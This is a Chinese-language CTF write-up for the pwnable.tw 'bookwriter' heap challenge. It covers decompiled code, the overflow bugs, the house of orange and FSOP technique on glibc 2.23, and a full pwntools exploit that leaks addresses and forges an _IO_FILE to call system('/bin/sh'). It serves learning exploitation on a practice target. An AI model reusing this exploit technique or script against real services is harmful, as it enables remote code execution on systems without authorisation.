pwnable-tw bookwriter

0x00 前言

主要是一道house of orange,利用方法很经典,学习了

0x01 题目分析

main

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
void __fastcall main(__int64 a1, char **a2, char **a3)
{
setvbuf(stdout, 0LL, 2, 0LL);
puts("Welcome to the BookWriter !");
sub_400BDF();
while ( 1 )
{
menu();
switch ( get_num() )
{
case 1LL:
add();
break;
case 2LL:
view();
break;
case 3LL:
edit();
break;
case 4LL:
info();
break;
case 5LL:
exit(0);
return;
default:
puts("Invalid choice");
break;
}
}
}

其中定义了两个int_64[8]数组在BSS段,分别存储书页的地址和书页内容大小信息,两数组在BSS段上位置相邻。

add

添加的操作顺序从0到8依次搜索,判断标准是该位置是否为空,并获得一次向堆地址写的机会

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
int add()
{
unsigned int i; // [rsp+Ch] [rbp-14h]
char *v2; // [rsp+10h] [rbp-10h]
__int64 size; // [rsp+18h] [rbp-8h]

for ( i = 0; ; ++i )
{
if ( i > 8 )
return puts("You can't add new page anymore!");
if ( !qword_6020A0[i] )
break;
}
printf("Size of page :");
size = get_num();
v2 = (char *)malloc(size);
if ( !v2 )
{
puts("Error !");
exit(0);
}
printf("Content :");
my_read((__int64)v2, size);
qword_6020A0[i] = v2;
qword_6020E0[i] = size;
++dword_602040;
return puts("Done !");
}

view

利用%s输出信息,可以用来泄露libc和heap信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
int view()
{
unsigned int v1; // [rsp+Ch] [rbp-4h]

printf("Index of page :");
v1 = get_num();
if ( v1 > 7 )
{
puts("out of page:");
exit(0);
}
if ( !qword_6020A0[v1] )
return puts("Not found !");
printf("Page #%u \n", v1);
return printf("Content :\n%s\n", qword_6020A0[v1]);
}

edit

编辑操作,可以输入0到7的数值,用strlen重新确定大小

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
int sub_400B27()
{
unsigned int v1; // [rsp+Ch] [rbp-4h]

printf("Index of page :");
v1 = get_num();
if ( v1 > 7 )
{
puts("out of page:");
exit(0);
}
if ( !qword_6020A0[v1] )
return puts("Not found !");
printf("Content:");
my_read((__int64)qword_6020A0[v1], qword_6020E0[v1]);
qword_6020E0[v1] = strlen(qword_6020A0[v1]);
return puts("Done !");
}

info

输出名称信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
unsigned __int64 info()
{
int v1; // [rsp+4h] [rbp-Ch]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
v1 = 0;
printf("Author : %s\n", &unk_602060);
printf("Page : %u\n", (unsigned int)dword_602040);
printf("Do you want to change the author ? (yes:1 / no:0) ");
_isoc99_scanf("%d", &v1);
if ( v1 == 1 )
sub_400BDF();
return __readfsqword(0x28u) ^ v2;
}

0x02 漏洞分析

  • 首先注意到name所在bss段位置与存储heap信息的bss段相邻,因此可以用info泄露heap地址
  • eidt的时候是用strlen重新计算size的,因此两次edit后可以覆盖到下一个堆块的size位置
  • add的时候多add了一个,应该是0到7就可以。利用的话就是堆地址会写到heap_page[0]的size位置,这样就可以造成很长的堆溢出

0x03 漏洞利用

整个程序都没有出现free,house of orange的典型利用场景。

利用条件

  • 泄露heap,libc地址
  • 堆溢出
  • libc2.23 及以下版本

泄露信息(libc地址)

因为程序中有堆的越界写,可以修改top_chunk的大小。在malloc源码里面如果申请的堆块大小超过了top_chunk的大小,将调用sysmalloc来进行分配。
sysmalloc里面针对这种情况有两种处理,一种是直接mmap出来一块内存,另一种是扩展top_chunk

1
2
3
4
5
6
7
8
9
10
11
/*
If have mmap, and the request size meets the mmap threshold, and
the system supports mmap, and there are few enough currently
allocated mmapped regions, try to directly map this request
rather than expanding top.
*/
if ((unsigned long) (nb) >= (unsigned long) (mp_.mmap_threshold) &&
(mp_.n_mmaps < mp_.n_mmaps_max))
{
char *mm; /* return value from mmap call*/
try_mmap:

就是如果申请大小>=mp_.mmap_threshold,就会mmap。我们质只要申请不要过大,一般不会触发这个,这个mmap_threshold的值为128*1024
不过下面还有两个assert需要检查,如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
old_top = av->top;
old_size = chunksize (old_top);
old_end = (char *) (chunk_at_offset (old_top, old_size));

brk = snd_brk = (char *) (MORECORE_FAILURE);

/*
If not the first time through, we require old_size to be
at least MINSIZE and to have prev_inuse set.
*/

assert ((old_top == initial_top (av) && old_size == 0) ||
((unsigned long) (old_size) >= MINSIZE &&
prev_inuse (old_top) &&
((unsigned long) old_end & pagemask) == 0));

/* Precondition: not enough current space to satisfy nb request */
assert ((unsigned long) (old_size) < (unsigned long) (nb + MINSIZE));

第一个assert就是要求修改后的top_chunk_size必须满足

  1. top_chunk的size必须大于MINSIZE
  2. top_chunk的pre_inuse位必须为1
  3. top_chunk满足页对齐,一般就是后三位都为0
  4. top_chunk的size小于申请的大小

满足以上四个条件之后,继续往下执行最后把原先的那个old_top给释放掉了,进入unsortedbin

这样的话我们再次申请一个堆块分配到这块区域中就能泄露libc地址了

劫持控制流

我们知道有rop即retn Oriented Programming,那么其实File Stream Oriented Programming是一个道理的。也是一种劫持程序流程的方法,只不过方式是通过攻击File Stream来实现罢了。
我们先要了解malloc对错误信息的处理过程,malloc_printerr是malloc中用来打印错误的函数。

malloc_printerr其实是调用__libc_message函数之后调用abort函数,abort函数其中调用了_IO_flush_all_lockp,这里面用到IO_FILE_ALL里面的结构,采用的是虚表调用的方式。

这里也学到一个操作,调试这里的时候可以直接b _IO_flush_all_lockp来断到这个函数,然后看自己的fsop是不是成功了,也可以直接用fsop这个命令。最后看第二个fp是不是unsortedbin的地址,还有就是Func是不是自己想要跳转的函数

其中使用到了IO_FILE对象中的虚表,如果我们能够修改IO_FILE的内容那么就可以一定程度上劫持流程。
IO_FILE_ALL是一个指向IO_FILE_plus的结构指针,结构如下图所示,具体结构不需要太了解清晰,大概懂一些也就行。

那么怎么劫持呢,这里又需要用到unsortbin attack的知识。
unsortbin attack是怎么一回事呢,其实就是在malloc的过程中,unsortbin会从链表上卸下来(只要分配的大小不是fastchunk大小),只要我们能控制unsortedbin的bk内容,在unlink的时候就会把unsortedbin的地址写入bk+0x10的位置

这样我们把_IO_list_all的地址改成main_arena,但是main_aren上的内容我们也不是完全可控的,于是就是这个利用很精妙的地方,让其通过chain跳转到我们能自己控制内容的地方即伪造的FILE结构

这里还是要牵扯到io_file的使用,IO_FILE结构中有一个字段是chian字段,它位于0x60偏移处,他指向的是下一个IO_FILE结构体,我们如果可以控制这个字段,就再次指定io_file的位置,它相当于是一个链表的结构
这样的话又联系到smallchunk的问题,在拆卸unsort_bin时候对属于small_bin的chunk进行了记录操作。

这个时候IO_FILE_all指向的正是main_arena的bins里面unsortbin的位置,那么偏移0x60处正好是,smallchunkindex6的地方,也就是满足大小为16*6的chunk,所以upgrade时候需要把unsortbin设置为0x60大小。

1
2
3
4
5
6
7
8
9
10
11
12
13
while (fp != NULL)
{

fp = fp->_chain;
...
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
|| (_IO_vtable_offset (fp) == 0
&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base))
#endif
)
&& _IO_OVERFLOW (fp, EOF) == EOF)

下一步就是在原top内伪造_IO_file_plus结构体,满足

  1. fp->mode>=0

  2. _IO_vtable_offset (fp) ==0

  3. fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base

    即可,构造的结构体如下:(不小心按错退出了,与原先的top地址有变化)


    最终再malloc一个块,触发即可

0x04 EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
from pwn import *
debug = 1
context.log_level = 'debug'
if debug:
sh = process('./bookwriter')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
gdb.attach(sh)
else:
sh = remote('chall.pwnable.tw', 10304)
libc = ELF('libc_64.so.6')


def add(size,content):
sh.recvuntil('Your choice :')
sh.sendline('1')
sh.recvuntil('Size of page :')
sh.sendline(str(size))
sh.recvuntil("Content :")
sh.send(content)

def view(idx):
sh.recvuntil('Your choice :')
sh.sendline('2')
sh.recvuntil('Index of page :')
sh.sendline(str(idx))

def edit(idx,content):
sh.recvuntil('Your choice :')
sh.sendline('3')
sh.recvuntil('Index of page :')
sh.sendline(str(idx))
sh.recvuntil('Content:')
sh.send(content)

def info(choice):
sh.recvuntil('Your choice :')
sh.sendline('4')

def leak_heap():
info(0)
sh.recvuntil('a'*0x40)
heapbase = u64(sh.recvuntil('\n')[:-1].ljust(8,'\x00')) - 0x10
log.success('heapbase: ' + hex(heapbase))
sh.recvuntil('(yes:1 / no:0) ')
sh.sendline('0')
return heapbase

sh.recvuntil('Author :')
sh.send('a'*0x40)
add(0x18,'a'*0x18)

edit(0,'a'*0x18)
edit(0,'a'*0x18+'\xe1\x0f\x00')

heap_base = leak_heap()
edit(0,'\0')
for i in range(8):
add(0x40,'wwwwwwww')
view(2)
sh.recvuntil('wwwwwwww')
libc_addr = u64(sh.recvuntil('\n')[:-1].ljust(8,'\x00'))
libc_base = libc_addr - 88 - 0x10 - libc.symbols['__malloc_hook']
log.success('libc_base: ' + hex(libc_base))
system_addr = libc_base + libc.symbols['system']

payload = ''
payload += '\x00'*0x290
payload += '/bin/sh\x00' + p64(0x61)
payload += p64(0) + p64(libc_base+libc.symbols['_IO_list_all'] - 0x10)
payload += p64(2) + p64(3)
payload += p64(0) * 9 + p64(system_addr)
payload += p64(0) * 11 + p64(heap_base+0x120+0x50+0x170+0x20)

edit(0,payload)
edit(0,'\x00')

sh.recvuntil('Your choice :')
sh.sendline('1')
sh.recvuntil('Size of page :')
sh.sendline(str(0x10))

sh.interactive()

0x05 参考

http://p4nda.top/2017/12/15/pwnable-tw-bookwriter/
https://bbs.pediy.com/thread-222718.htm

-------------本文结束感谢您的阅读-------------
+ +